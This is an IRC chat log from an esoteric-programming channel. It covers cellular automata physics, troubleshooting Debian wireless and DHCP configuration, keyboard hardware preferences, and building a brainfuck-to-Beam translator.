21:25:48 <oerjan> which imposes a kind of order
21:26:18 <Jafet> IM'MA FIRIN' MAH ELECTRONZ
21:26:25 * oerjan wonders if there is a class of CAs with an analogy to noether's theorem
21:26:54 <Jafet> A counter machine can be implemented by a conservative automaton
21:27:27 <quintopia> oerjan: couldnt you get the same kind of order by specifying a nearly constant state density? instead of proportional to the surface area?
21:28:04 <oerjan> quintopia: well my idea here is to prevent chaos from spreading too fast
21:28:32 <oerjan> hm well you always have the CA lightspeed
21:29:04 <oerjan> Phantom_Hoover: do you get something like a lagrangian? :D
21:29:24 <oerjan> (note: i never took enough physics to understand those properly)
21:29:25 <Phantom_Hoover> Any non-surjective function from inputs to outputs has to discard bits.
21:29:47 <Phantom_Hoover> Although hmm, I'm not sure if that imposes an energy _input_ requirement.
21:31:13 <oerjan> my physics classes got cut short when i discovered my acute aversion to writing lab reports.
21:34:18 <Sgeo> Phantom_Hoover, Taneb kallisti: Just letting you know that the last update was an [S]. If you have already seen an [S], there is not another.
21:34:38 <Sgeo> (Besides the easter egg)
21:34:53 <oerjan> shouldn't it be more like a lent egg
21:34:59 <Phantom_Hoover> oerjan, isn't the Lagrangian, like, energy and then you take the derivative?
21:35:19 <Taneb> Sgeo, thanks, I've seen it
21:35:59 <oerjan> Phantom_Hoover: well yes, although you have to think of it in the right way with potential vs. kinetic energy
21:36:18 <oerjan> and dependence on position vs. momentum
21:36:24 <Sgeo> Phantom_Hoover, same place as the corresponding [S]
21:36:35 <Sgeo> Or, http://www.mspaintadventures.com/?s=6&p=pony2
21:36:48 <oerjan> and there's the other way which gives the hamiltonian, and i don't have that part clear in mind
21:37:00 * kmc follows the Principle of Least Action
21:37:46 <oerjan> actually strangely it's the _quantum_ formulation which i find easiest to understand, iiuc
21:38:23 <oerjan> because the hamiltonian operator is just in a sense the derivative of the time evolution
21:38:52 -!- adam_ has joined.
21:38:53 <oerjan> (or the time evolution is the exponential of the hamiltonian)
21:38:57 -!- adam_ has changed nick to kallisti.
21:39:21 <kallisti> are you amazing at configuring wireless?
21:39:30 <kallisti> I'm having issues with both nm-applet and wicd
21:39:57 <Sgeo> kallisti, did you see the [S] update?
21:40:22 <kallisti> I actually haven't been paying attention at all to homestuck
21:40:34 <kallisti> I find it more enjoyable to read in bulk
21:41:12 <kallisti> anyone else using xmonad? what do you do to set up wireless?
21:41:28 <kallisti> I'm beginning to think it's either a problem with gnome-keyring-daemon or the DHCP client...
21:41:32 <Phantom_Hoover> Meanwhile, Prequel continues to update with DEPRESSING INFREQUENCY
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21:42:14 <oerjan> Phantom_Hoover: THEY'RE RUNNING OUT OF PAST
21:42:20 <kallisti> monqy: hi. do you use wireless?
21:42:37 <kallisti> I'm trying to set up nm-applet in my shiny new Debian xmonad box.
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21:43:23 <kallisti> currently I can only use wired.
21:43:40 <Phantom_Hoover> wireless paedophile snuck up on me but i threw cat at it
21:44:20 <monqy> my parents told me never to talk to wireless paedophiles
21:44:45 <kallisti> my hand configuration of choice now seems to be to smash my thumb on top of the windows key and roll my other fingers across the number keys like a madman.
21:45:12 <kallisti> I wouldn't want to miss anything on irssi.
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21:45:54 <kallisti> something is seriously fucked up.
21:46:10 <kallisti> I don't even know where to start.
21:46:39 <kallisti> at first I didn't have access to network controls, so I had to run my xsession script under ck-launch-session
21:47:03 <kallisti> but whenever I clicked on a wireless network in nm-applet, absolutely nothing happens.
21:47:21 <kallisti> but then when I type in the key
21:47:30 <kallisti> a new, empty, prompt immediately reappears, and nothing else happens
21:47:58 <kallisti> no errors in .xsession-errors, no errors in /var/logs/daemon.log... it just stops at step 2 of 4 or something blah blah normally stuff happening
21:48:25 <monqy> I'm bad and whenever I do wireless I do everything by hand w/ ifconfig/iwconfig/iwlist/etc
21:49:12 <kallisti> whenever I do that it hangs on the dhcp part.
21:49:34 <kallisti> so perhaps I don't have that configured correctly (read: at all)
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21:51:44 <fizzie> I think Ubuntu's default setup (which is what I use on the Gnome+xmonad laptop) has nm-applet use dhclient instead of dhcpcd. But I haven't tried to to get it working outside of a Gnome session.
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21:54:04 <kallisti> fizzie: how do I configure nm-applet and tell it what dhclient to use.
21:58:07 <mRoman> I damn hope it's a misplaced decrement
21:58:09 <fizzie> No clue; I mean, I haven't really "configured" nm-applet at all. After all, it's supposed to "just work".
21:58:54 <fizzie> "man NetworkManager.conf" claims "dhcp=dhclient" and/or "dhcp=dhcpcd" can be used to select the preferred one.
21:59:23 <fizzie> (Assuming support for both is compiled in.)
22:05:46 <kallisti> I bet this is a firmware problem.
22:05:53 <kallisti> I probably installed the wrong firmware.
22:08:07 <kallisti> no, correct firmware installed
22:10:00 -!- pikhq_ has joined.
22:10:17 <kallisti> pikhq_: hi dhcp appears to be broken what do?
22:10:28 -!- pikhq has quit (Ping timeout: 272 seconds).
22:14:00 <kallisti> whenever I'm prompted to type in the network key by nm-applet it just repeats the prompt and removes the key...
22:14:28 <kallisti> and whenever I use wicd it hangs on "obtaining IP address"
22:14:44 <kallisti> so it could be a dhcp problem? or possibly a gnome-keyring-daemon problem?
22:15:03 <kallisti> I haven't managed to find any useful error messages.
22:15:06 <kallisti> it just kind of silently doesn't work.
22:16:30 <fizzie> It could be any problem, since DHCP is the first thing that gets done. I don't suppose you have a /var/log/wpa_supplicant.* or somesuch?
22:16:51 <kallisti> well, it's a WEP network actually. but I notice there's also no dialog to select encryption like there was in Ubuntu.
22:17:47 <kallisti> no nothing specifically for wpa_supplicant
22:18:45 <fizzie> Mhm, well, I'd suppose it's only used for actual WPA anyway. (But it logs into stdout, and can therefore end up wherever.)
22:19:00 <kallisti> here's /var/log/daemons.log or whatever it's called
22:19:14 <kallisti> shows what network-manager is doing
22:21:02 <kallisti> maybe I should give wicd another shot... even though it seems kind of bad.
22:21:11 <fizzie> You can put in "[logging] level=DEBUG" in NetworkManager.conf, maybe it'll say more, then. (But it sounds as if it's confused.)
22:21:30 <mRoman> http://esolangs.org/wiki/Beam#Compare
22:21:34 <kallisti> and restart network-manager right?
22:23:06 <mRoman> I can decide which number is smaller :)
22:23:38 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
22:23:39 <myndzi> | | | `\o/´ | | | `\o/´ | | |
22:23:39 <myndzi> /| |\ >\ | /| /| /< | /< /< /^\
22:26:34 <mRoman> * Kool & The Gang - Celebration *
22:27:06 <kallisti> http://hpaste.org/64410 here's the debug log
22:30:16 <fizzie> It looks as if it's having some trouble asking for/getting the WEP key, but other than that hard to say.
22:30:19 <ion> Ok, myndzi only responds to fungot?
22:30:19 <fungot> ion: the random number gods are laughing at you, too
22:30:31 <fizzie> ion: Your name is too short.
22:30:46 <ion> Ah, of course. :-P
22:30:47 <mRoman> It responded to my \o/
22:31:06 <mRoman> Why don't I have a Kool & The Gang CD
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22:31:21 <fizzie> Doesn't do the dude-with-the-face.
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22:40:12 <oerjan> myndzi supports disabled people
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22:48:48 <oerjan> don't worry, they were all communists anyhow
23:00:29 <Sgeo> http://www.stationv3.com/d/20120220.html
23:01:59 <oerjan> that was the comic they traded, right?
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00:40:37 <kallisti> where is the log that shows up at boot?
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01:51:10 <kallisti> the OS can provide an arbitrary virtual interface?
01:51:32 <kallisti> it would be like a giant Nintendo DS.
01:51:56 <kallisti> I suppose it's not practical yet.
01:52:11 <Jafet> Go buy a goddamn iPad.
01:52:25 <kallisti> I'd want a touchscreen, and touchscreen keyboard. NEEDS TWO PARTS
01:52:29 <Madoka-Kaname> Would make it harder to use, esp for touch typers.
01:52:50 <kallisti> so like, when I switch over to insert-IDE it throws me a keyboard customized for the programming language.
01:52:56 <kallisti> with any relevant unicode symbols.
01:53:07 <Jafet> Actually, Acer made a cheap gimmick exactly like that
01:53:21 <Madoka-Kaname> Remebering a new layout because you switched programs?
01:53:55 <Jafet> @google acer iconia
01:53:56 <Madoka-Kaname> Oh, many people won't be hurt-- they hunt and peck anyways.
01:54:04 <kallisti> touchscreen interfaces with tactile sensation.
01:55:21 <kallisti> I think it would be a step in the right direction. with a single touchscreen it's difficult to cram both control and display elements into the same space.
01:55:51 <kallisti> with two you would have a display screen with some control elements like an ipad or whatever, and then a lower screen specifically for control. or however else you'd want to set it up.
01:56:50 <kallisti> basically I want the ASCII era of concrete syntax to go away.
01:57:33 <kallisti> where things like, say, improved record semantics, gets bogged down by a sudden lack of conveniently placed keys on a standard keyboard.
01:58:44 <Madoka-Kaname> Otherwise, you make it very troublesome for people who have standard keyboards, can't afford touchpad ones, or just prefer standard ones.
01:59:02 <Madoka-Kaname> A touchpad keyboard would need pressure detection or something.
01:59:17 <Jafet> What is the warranty on a touchpad keyboard
01:59:43 <kallisti> the screen should just zap you whenever you're on top of a key
02:00:02 <zzo38> I prefer physical keyboard with ASCII and that stuff. I like the original IBM PC keyboard with the function keys on the left. The only problem with that one is no indicator LEDs.
02:00:13 <kmc> is this iconia an actual thing you can buy
02:00:14 <kallisti> well, if you wanted to limit it to JUST keyboard-style stuff
02:00:27 <kmc> or in theory could ever buy
02:00:32 <kallisti> you could have a fixed grid of raised buttons, but with some sort of display mechanism to change the keys? I don't even know.
02:00:46 <kmc> http://www.artlebedev.com/everything/optimus/
02:01:30 <kmc> only $2,068
02:01:44 <kmc> 48x48 pixel color OLED screen under every key
02:01:57 <zzo38> I think you don't need to display on every key. That would waste energy and program size a lot it seems.
02:02:14 <kmc> yeah, clear keys above a single commodity display makes a lot more sense
02:02:37 <kmc> but anyway, why are we looking at the keyboard?
02:02:49 <pikhq> Who needs keycaps, anyways?
02:02:58 <zzo38> kmc: I suppose you are correct about that. But still I don't think you need a display for all keys even if it is the same one
02:03:05 <kmc> yeah, i don't either
02:03:26 <Jafet> We need HOLOGRAPHIC KEYCAPS
02:04:01 <kmc> i guess some people like the no-label keyboards because it forces them to learn to touch type
02:04:33 <kmc> it mostly seems like a stupid way to show off
02:04:51 <kmc> the copy on the Das Keyboard website certainly gives that impression
02:05:11 <pikhq> I've heard the Das Keyboards are actually rather high-quality keyboards, though...
02:05:20 <pikhq> So, even disregarding caps/not-caps, might be worth getting.
02:05:27 <kmc> they have a version with labels
02:05:46 <pikhq> I also heard when they started out they were shitty dome keyboards, which is... Stupid.
02:06:04 <pikhq> $100 premium for no key labels? Screw that.
02:06:09 <zzo38> I suppose the one without labels might also be useful in case you need to attach your own labels to all of the keys for any reason
02:06:33 <kmc> $100 to show everyone that you're a L33T H5X0R?
02:06:37 <kmc> seems like a bargain
02:06:51 <pikhq> More efficient uses of that $100, though.
02:06:58 <zzo38> Although even if there is labels, you can still put other labels on top, but they would need to be opaque. Without labels already on there, you can also use transparent labels, or just direct marking on the keys
02:06:59 <Jafet> They sell a set of four differently-coloured keys for you to replace the WASD cluster
02:07:12 * pikhq suggests a cheap monitor which always has that Matrix-effect screensaver going)
02:07:30 <pikhq> Jafet: What, cause WASD is hard to find?
02:07:54 <Jafet> Come on, the keycaps are blank!
02:08:10 <zzo38> Why do you even need to find WASD that easily; the F and J are the keys you should find easily they will have raised dots to find them easily.
02:08:13 <pikhq> And F/J still have the indent to make them easy to find.
02:08:47 <pikhq> zzo38: PC games use WASD as directional keys.
02:08:59 <Jafet> Well, the strange thing is that they use clicking Cherry switches, so gamers wouldn't buy them anyway. I don't know whether Das has any idea what kind of niche market it wants to sell to.
02:09:06 <zzo38> pikhq: It depend on the game. Some use arrow keys.
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02:09:23 <pikhq> zzo38: Not if you want to mouse and use any other keys. :)
02:09:52 <kmc> they want to sell to office workers whose coping strategy is to pretend they are leet ninja rockstars
02:10:08 <Jafet> Hmm, that could be a significant market.
02:10:11 <kmc> that and people who just want a keyboard with serious tactile response
02:10:21 <kmc> there are a few others in that category
02:10:23 <pikhq> Jafet: How do Cherry switches compare with e.g. a Model M?
02:10:26 <zzo38> I have written many games for the PC, and none of them use WASD for directional keys; usually the arrow keys are used although sometimes the number pad and/or HJKL also work.
02:10:49 <pikhq> zzo38: It's basically the expected input scheme for first-person games, though.
02:11:13 <Jafet> The clicking ones are meant to evoke the Model M, but they are not buckling-spring switches, so they don't have anywhere near the durability and tactile response
02:11:42 <zzo38> pikhq: Well, I don't play or make first-person games; I suppose you might want to find WASD in case of first-person games possibly; but maybe you can use a joystick too?
02:12:07 <kmc> unicomp makes keyboards similar to the Model M
02:12:09 <Jafet> Buckling-spring switches create the sound, tactile feedback and electrical signal with the same spring, so they never register incorrectly
02:12:15 <kmc> some with a pointing stick too
02:12:31 <zzo38> Does anyone make keyboard similar to the original IBM PC keyboard with function keys on the left?
02:12:34 <Jafet> I thought Unicomp took over the IBM keyboard division
02:12:49 <Jafet> So they're rebranded Model M
02:13:00 <kmc> i wonder which switch technology is used in the Kinesis Advantage
02:13:12 <kmc> it's pretty loud and has decent feedback
02:13:32 <Jafet> If they use Cherry switches, you can be sure this fact will be advertised somewhere
02:13:42 <Jafet> The switches seem to be a new status symbol thingy
02:15:17 <kmc> i don't think Kinesis has quite caught on to the hacker rockstar ninja aesthetic
02:15:29 <kmc> their keyboards and website look like they were designed in the mid-90's
02:15:47 <kmc> also the keyboards are expensive as hell, for probably no good reason
02:16:07 <pikhq> They're hand-made.
02:16:22 <kmc> i mean, define "hand-made"
02:16:29 <kmc> they're not whittled by hand from old-growth plastic trees
02:16:44 <zzo38> I have also seen hacker keyboards, which are very good for UNIX; but lack a number pad or any way to send those codes. (I think they should make the keyboard with one key that allows you to send any code you enter)
02:16:58 <kmc> how much does a kinesis factory worker make?
02:17:39 <pikhq> zzo38: What, the Happy Hacking? Those things are... Meh.
02:18:33 <kmc> but it has "hacking" in the name
02:19:15 <pikhq> They're more-or-less laptop-layout boards.
02:19:20 <pikhq> With dome switches.
02:19:26 <kmc> i use my happy hacking keyboard to comment on hacker news about the hacker lifestyle
02:20:08 <kmc> i also have a standalone version of the thinkpad keyboard with trackpoint
02:20:10 <kmc> that's pretty good
02:20:27 <kmc> i wonder if the classic thinkpad keyboard will still exist in 5 years
02:21:05 <kmc> of the 5 current models listed as "ThinkPad X series" on Lenovo's website, four have chiclet keyboards
02:21:09 <Jafet> Does the classic thinkpad still exist now?
02:21:23 <kmc> i think so, yes
02:21:30 <kmc> but the "ThinkPad" brand name doesn't mean anything
02:21:43 <kmc> it just means lenovo wants to sell that model of laptop / netbook / android tablet to businesses
02:22:28 <kmc> otoh, if the branding is meaningless then maybe the IdeaPads are worth looking at
02:23:15 <pikhq> ... Chiclet keyboards?
02:24:26 <kmc> i'm also not sure the legendary ThinkPad quality isn't just nerd hipsterism
02:24:39 <kmc> in 6 years of owning thinkpads I've had a lot of shit break
02:24:54 <kmc> and a few bad interactions with the repair people, as well as some good ones
02:24:58 <pikhq> quintopia: Chiclet keyboards are about as shitty as you can get without resorting to a membrane keyboard.
02:25:24 <kmc> aren't those independent properties
02:25:53 <kmc> i think today "chiclet" just means there are gaps between the keys
02:26:16 <pikhq> kmc: No, "chiclet" refers to a particular keyboard switch type...
02:26:20 <kmc> it's not meant to imply the terrible switch technology of the ZX Spectrum
02:27:08 <pikhq> Like on remote controls, calculators, and the ZX Spectrum.
02:27:42 <pikhq> Also, 6 years? That's all after Lenovo bought the brand. :)
02:28:14 <pikhq> Not that I could judge the quality before that, as I never owned an IBM ThinkPad.
02:28:59 <kmc> the first one I owned was the X41
02:29:08 <kmc> it was IBM branded and designed by IBM
02:29:17 <kmc> even if Lenovo owned the company by that point
02:29:28 <kmc> also the repair centers are *still* IBM
02:29:51 <kmc> to open a ticket you fill out a form on an IBM website that was clearly derived from a 50 year old mainframe app
02:30:22 <kallisti> so I'm trying to manually configure my wlan interface now.
02:30:40 <pikhq> kmc: Probably still is a 50 year old mainframe app.
02:30:47 <kallisti> DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 8
02:30:47 <kallisti> DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 7
02:30:47 <kallisti> DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 11
02:30:47 <kallisti> DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 11
02:30:47 <kallisti> DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 12
02:30:49 <kallisti> DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 12
02:30:54 <kallisti> No working leases in persistent database - sleeping.
02:31:39 <kmc> i think it's the same form you use to request repairs on your $50,000,000 zSeries mainframe installation
02:32:02 <kmc> assuming you can't afford the 40U rackmount on-call service technician
02:33:14 <kmc> http://en.wikipedia.org/wiki/Chiclet_keyboard "The term has also been used more recently to describe several popular low-profile, low-travel keyboards. These keyboards have small, flat, squarish keys that are separated from each other by some space on the baseplate they protrude from - a feature common to the old chiclet keyboards. They are not chiclets in the earlier sense, however, as they do not use a rubber membrane or directly moulde
02:33:14 <kmc> d hard key tops as the keys themselves and instead use a more modern technology."
02:33:29 <kmc> you see this usage a lot in current reporting on new models of laptop etc
02:34:04 <kmc> when i search for the term i get a lot of that
02:34:10 <quintopia> yeah i thought that is what you meant
02:36:21 <kmc> it is what i meant
02:38:43 <kmc> also the thinkpad power adapters frequently break at the plug that goes into the computer
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02:39:15 <kmc> this was true in the IBM days, and with the first Lenovo models, and they've recently taken steps to fix it
02:44:11 <pikhq> kmc: Confusing. The original sense of chiclet keyboards are still around.
02:46:29 <kmc> apple and thinkpad laptops are pretty similar
02:46:36 <kmc> they both have pretty good build quality
02:46:43 <kmc> they both have a dedicated fanbase who will ignore flaws
02:47:24 <kmc> and they both appeal to a specific aesthetic
02:47:36 <kmc> i'll admit that part of my reason for buying thinkpads is aesthetics and peer pressure
02:47:40 <myndzi> chiclet keyboard is worst keyboard
02:47:52 <myndzi> not much in the way of choice with laptops these days though
02:48:20 <kmc> what specifically don't you like about chiclet keyboards (in the new sense)
02:48:51 <myndzi> key travel, key shape, key spacing, key switches
02:49:05 <kmc> compared to other laptop keyboards?
02:49:12 <myndzi> compared to any keyboards
02:49:19 <myndzi> i realize that travel is low on all laptops these days
02:49:26 <myndzi> but even so i prefer the tapered keys
02:49:31 <quintopia> i like them. they are slim, cheap, easily replaced, and the switches never cause me trouble
02:49:36 <myndzi> my fingers have a tendency to 'hang up' on the edge of the key caps
02:49:47 <myndzi> but even disregarding that, they just don't feel very good
02:49:57 <myndzi> as for switches, it's not that they are necessarily troublesome
02:50:08 <myndzi> it's that i have very picky taste in keyswitches these days :P
02:50:10 <kmc> i think the thinkpad chiclet keys are still tapered a bit
02:50:22 <myndzi> you ain't finding a laptop with topres though so *shrug*
02:50:25 <kmc> and i don't know what keyswitch they use
02:50:37 <myndzi> laptops are generally scissor switches
02:50:39 <kmc> but it's not clear why a chiclet layout would require them to change that
02:50:54 <myndzi> i forgot to list one other thing i dislike about them
02:51:27 <kmc> the thinkpad keys i've seen have a keycap attached to a scissor, above a little plastic nipple thing which touches the circuit board
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02:52:10 <myndzi> presumably that's normal for scissor switches
02:52:19 <myndzi> i never pry at laptop keys, i don't want to break them
02:52:25 <kmc> "ATTENTION: Please note that this keyboard has black labeling on dark gray plastic keycaps. In low lit environments, this keyboard will appear to be blank! This keyboard is not available with higher contrast keycaps; for better visibility, please consider a white keyboard."
02:52:33 <myndzi> so i haven't been under the keycaps much
02:52:56 <myndzi> yeah, it is pretty low contrast
02:53:02 <kmc> what's the point of that
02:53:16 <myndzi> appearance is really the only point
02:53:22 <myndzi> but i prefer blank caps because i type multiple layouts
02:53:28 <myndzi> and i don't really like typing on the wrong letters
02:53:43 <kmc> i prefer labeled keys because i type multiple layouts ;)
02:54:04 <myndzi> the labels don't do you any good if they don't represent the key you are pressing :P
02:54:07 <pikhq> kmc: Not helpful if you type multiple layouts on the same board.
02:54:21 <myndzi> i'm losing some of my qwerty skill, it's been a year since i had to type it daily
02:54:25 <kmc> i usually type dvorak without looking at the keys
02:54:29 <myndzi> but i can still get over 80 wpm
02:54:32 <kmc> but sometimes i have to type a password or something in qwerty, without echo
02:54:34 <pikhq> Which I don't, because fuck kana layouts.
02:54:39 <myndzi> it used to be even with my dvorak speed though
02:54:43 <kmc> and then the labels help
02:54:50 <kmc> i can still touch type qwerty but not with great accuracy
02:54:58 <myndzi> i know what you mean on that count
02:55:10 <myndzi> touch typing is easy but single letters get hard after you're past that phase for awhile
02:55:22 <kmc> actually i pretty much can't touch-type qwerty on the kinesis
02:55:27 <myndzi> i've started pairing various letters in my head though
02:55:32 <kmc> because i've never done it regularly
02:55:33 <pikhq> イエユイノボメノレンミリヨジュヨゴハサテカナエクタマエ
02:55:50 <myndzi> when i'm using dvorak and i copy/paste things i actually think ctrl+i
02:56:02 <kmc> yeah i do that, but only for some keys
02:56:24 <myndzi> the hardest key is a :V
02:56:26 <myndzi> i always get it mixed up
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02:57:05 <Jafet> Uh, it remains in the same place.
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03:01:52 <lambdabot> Gregor: You have 1 new message. '/msg lambdabot @messages' to read it.
03:01:58 <lambdabot> elliott said 3d 8h 34m 4s ago: "ℒ was originally described to generalize the question raised by Befunge/index.php." not quite true
03:02:04 <Gregor> Accidentally denicked.
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03:02:23 <myndzi> oh good, we're friends again <3
03:02:38 <Friendship> I am friends with all! I am the abstract concept of friendship!
03:03:36 <Friendship> So anyway, I got an email from somebody who apparently runs the blog championofbirds.com .
03:03:47 <Friendship> He says he wants to interview me for his blog because he found my hats site or something?
03:04:40 <myndzi> that is ... interesting
03:04:47 <myndzi> did you ask him what kind of hats birds like?
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03:14:35 <Friendship> myndzi: I haven't responded, it was an email.
03:14:47 <Friendship> Does one accept this kind of invitation?
03:15:32 <myndzi> it's a perfect opportunity for trolling
03:15:37 <myndzi> do you have a site about hats?
03:15:44 <zzo38> Respond by telephone.
03:15:50 <myndzi> he could be just spamming you
03:15:58 <zzo38> And use a payphone.
03:16:31 <myndzi> Friendship: lulz, obviously
03:17:00 <myndzi> i honestly have no idea what he wants to interview you about though so i don't have any particular ideas heh
03:17:13 <myndzi> this is the kind of thing a pal of mine from dalnet used to turn into comedy gold all the time
03:17:20 <myndzi> except in his case it was over irc
03:18:04 <myndzi> sacring the police , that lobster would snap is claw aroung , KLAP !!! KLAP !!! V..V
03:18:11 <myndzi> there's one gem from such a conversation, hehe
03:18:23 <Friendship> The problem is that since he found me via my web site, my real name is known and hence my reputation is risked.
03:18:53 <myndzi> if some guy i didn't even know wanted to interview me i wouldn't be terribly worried if he was like omg i tried to interview myndzi but he trolled me!
03:18:59 <myndzi> on the other hand i understand
03:19:08 <myndzi> you may as well do it, could be interesting
03:19:14 <myndzi> and if it sucks you can always switch to trolling midway :>
03:19:15 <Friendship> If I loon it up and then that becomes the top search result for "gregor richards", yikes.
03:19:38 <myndzi> then people will think you have a sense of humor?
03:19:48 <myndzi> ur mather is SNACK LORD!
03:20:05 <Friendship> I think I'll just send him back this: http://codu.org/hats/NewTopHat-med.jpg
03:20:13 <Friendship> "That's the answer to every question."
03:20:52 <myndzi> i forgot about snack lord, that's one of my favorites
03:23:33 <zzo38> In my idea of new programming language I have written part of specification already. There are similarity to Haskell. But, some of my ideas are: One type of kind # might be (unsafe "i8"). And all monomorphic types of kind ? (even if they have polymorphic components) are automatically instances of (\x -> Prelude.typeOf :: x -> Prelude.Type) although it is not implied so you need to mention it explicitly if you use it.
03:24:04 <zzo38> (The other thing, various things are put into the prelude which isn't what Haskell does)
03:24:49 <zzo38> I don't know, if this seem at all sensible to you or not.
03:28:28 <Friendship> Oh, looka that, he's actually one of five people who runs that site >_> <_<
03:32:45 <quintopia> what reputation, gregor. what reputation.
03:33:40 <quintopia> this is your first chance to MAKE A REPUTATION
03:33:46 <Friendship> I've made quite a name for myself in certain circles which produce content not eligible for minors or distributable in most countries.
03:34:56 <oerjan> i can see you wouldn't want to tarnish that, then
03:36:46 * oerjan suddenly realizes he doesn't know where those hats have been
03:36:59 <pikhq> Hooray, hat fetish!
03:39:39 <oerjan> you can leave your hat on
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04:13:30 <Sgeo> ...anyone? UPDATE
04:14:16 <monqy> I was just saying hello ;_;
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04:22:10 -!- Friendship has set topic: It Is The Absolute Verifiable Truth & Proven Fact That Your Belly-Button Signature Ties To Viviparous Mama. | 4 corner harmonic 24 hour time cube | http://codu.org/logs/_esoteric/ | http://esolangs.org/wiki/ has moved servers!.
04:25:52 <ion> My Little Stallman: Foot Dirt is Magic
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05:36:22 <Jafet> Foot dirt may lead to open sores.
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07:39:18 <olsner> Jafet: open source and foot dirt? reminds me of richard stallman
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09:52:53 <mRoman> So. My javascript interpreter/debugger is finished.
09:53:06 <mRoman> I can pause the program at any point and inspect memory at will.
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12:26:50 <mRoman> Would brainfuck be turing complete if we'd have to know at compile time for each loop in which memory cell we currently are?
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12:29:36 <mRoman> In beam I have the problem that I only figured a way out how to write loops which don't bother if the beam is even or odd by using the beam != store instructions which requires me to know at time of writing the program
12:29:40 <mRoman> what the current cell address is.
12:30:35 <mRoman> the other loops would require to know whether the cell's value is even or odd
12:30:50 <mRoman> but I can decide even/odd at runtime somehow.
12:31:20 <mRoman> but that'd be tediously complex :(
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12:45:08 <ais523> mRoman: I think no, because it couldn't access infinite memory
12:45:38 <ais523> why not just use only even numbers?
12:45:47 <ais523> BF is still complete if + and - add and subtract 2 rather than 1
12:46:01 <fizzie> Speaking of Beam, is the comparison in u/n modulo 256 or not? I.e. if the store is >= 256, is it always false?
12:47:25 <fizzie> ais523: With unbounded tape cells, I wouldn't bet on that. I mean, it wouldn't surprise me if the TC three-cell brainfuck construction always knew in which cell it is.
12:48:12 <ais523> fizzie: oh, I was thinking about the usual mod-256 version
12:48:28 <ais523> bignum BF I somehow have mentally filed as a different language
12:48:32 <ais523> I blame it on too much BF Joust
12:48:41 <mRoman> then beam != store is always true
12:49:48 <mRoman> you have a beam = (store % 256); instruction
12:49:53 <mRoman> and a store = beam; instruction
12:50:30 <mRoman> you'd need a temporary location to not lose the beam, though.
12:51:07 <fizzie> More imporantly, a temporary location not to lose the store, and there's no other unboundedly large place, I suppose.
12:52:09 <mRoman> You can't save the store.
12:52:15 <mRoman> memory cells are limited to 8bit
12:53:07 <mRoman> (which means we can only save (store % 256))
12:53:17 <mRoman> you'd have to spread store >= 256 to different memory cells somehow.
12:54:22 <mRoman> Basically it's limited to 256 memory cells which are easily accessible.
13:02:23 <mRoman> Using only 0 and 1 should be possible
13:02:36 <mRoman> and it should also be possible to encode data in the control flow
13:08:25 <mRoman> http://codepad.org/HQoJOyhh <- which produces 101
13:08:56 <fizzie> I have a rather non-optimal but I-think-correct translation from brainfuck to Beam here.
13:09:25 <fizzie> It has an unbounded tape of 8-bit values.
13:09:53 <fizzie> It looks like this: http://sprunge.us/UORC
13:12:23 <fizzie> The 'XXX' at ^6 can be just an unconditional jump back to [ for easiness.
13:12:40 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: (`): not found
13:13:14 <mRoman> `(`) with an initial store value of 1
13:13:17 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: (`): not found
13:13:37 <mRoman> ok, it decrements to zero
13:13:44 <mRoman> but control flow is redirected to left.
13:14:21 <fizzie> mRoman: Initial store value is always even when that is hit.
13:14:36 <fizzie> mRoman: It's one of 2, 4, 6, ... always.
13:15:02 <fizzie> (Since it's at the marker cell of 3, 5, 7, ...)
13:18:38 <fizzie> I'll see about writing a program that performs that transformation, and try it on some loopy brainfuck code, but maybe not while I'm technically supposed to do work-stuff.
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14:04:00 <fizzie> Well, it does http://sprunge.us/COCL => http://sprunge.us/VOdH correctly; code at http://sprunge.us/SePY
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14:30:52 <chickenz> mRoman: what happens, in beam, when the control flow reaches a border ? The program exits ?
14:31:12 <chickenz> (i'm writing a little interpreter in python for the fun)
14:34:15 <fizzie> http://p.zem.fi/bf2beam.pl with a bit more formatting and the construction "documented"; I also pointed a link to that from the Wiki just for giggles, since it managed the hello world.
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15:14:31 <mRoman> and you have to pay attention to spaces
15:15:25 <mRoman> because the second line is only 1 character long.
15:15:39 <mRoman> you have to place a nop there
15:18:31 <mRoman> If the brainfuck program should print Hello, hello, world.
15:18:38 <chickenz> ok, my interpreter already works like that
15:21:31 <fizzie> Yeah, I !bf_txtgen'd it. (Though the Perl script strips doesn't add enough spaces at the end of lines like that, will have to fix it. (Doesn't matter in the example, but would probably break nested loops. (Though those might be already broken. (I was sort-of assuming it'd be all Befungey and fill the universe with spaces.))))
15:23:54 <mRoman> seems your perl script generates not enough spaces sometimes.
15:26:25 <mRoman> http://codepad.org/ZfxIyvc9
15:26:31 <mRoman> Thats the output translation of
15:26:45 <mRoman> ++++>++>+>+<[>[-<++++>]<<]>
15:27:02 <mRoman> It get's stuck in '>'p?
15:27:30 <fizzie> Yes, that's what I said.
15:29:53 <mRoman> which then increments store all the time
15:30:42 <mRoman> until it exceeds the 1024 memory cells in the javascript implementation.
15:32:45 <fizzie> Mhm. It's supposed to hit the flagged cell that was left by the `p+P' bit.
15:34:07 <fizzie> I'll take a look when not in a bus with a silly phone.
15:34:18 <mRoman> That should search a zero cell, right?
15:35:32 <mRoman> ? only lets you pass with beam != 0
15:36:20 <fizzie> Yes, that's the point. All the even cells it tests should be 0, except the one that was +'d before the (`).
15:36:41 <fizzie> After hitting that one it should go through the ?.
15:37:33 <fizzie> Anyway, my bus stop is like right now. ->
15:37:45 <mRoman> In the mean time, I'll implement break points :D
15:46:58 <mRoman> Ok. I have a breakpoint at (y,x) = (1,39)
15:47:13 <mRoman> at which point Beam := 0 and Store := 0
15:47:24 <mRoman> and Memory[0] = 1; Memory[1] = 0;
15:48:11 <mRoman> at breakpoint (y,x) = (4,42)
15:48:18 <mRoman> (which is the > in '>'p?)
15:48:33 <mRoman> Beam := 0 Store := 1 Memory[0] := 1 Memory[1] := 0
15:49:00 <fizzie> Memory[0] being nonzero is just plain wrong. I suppose it has messeded up.
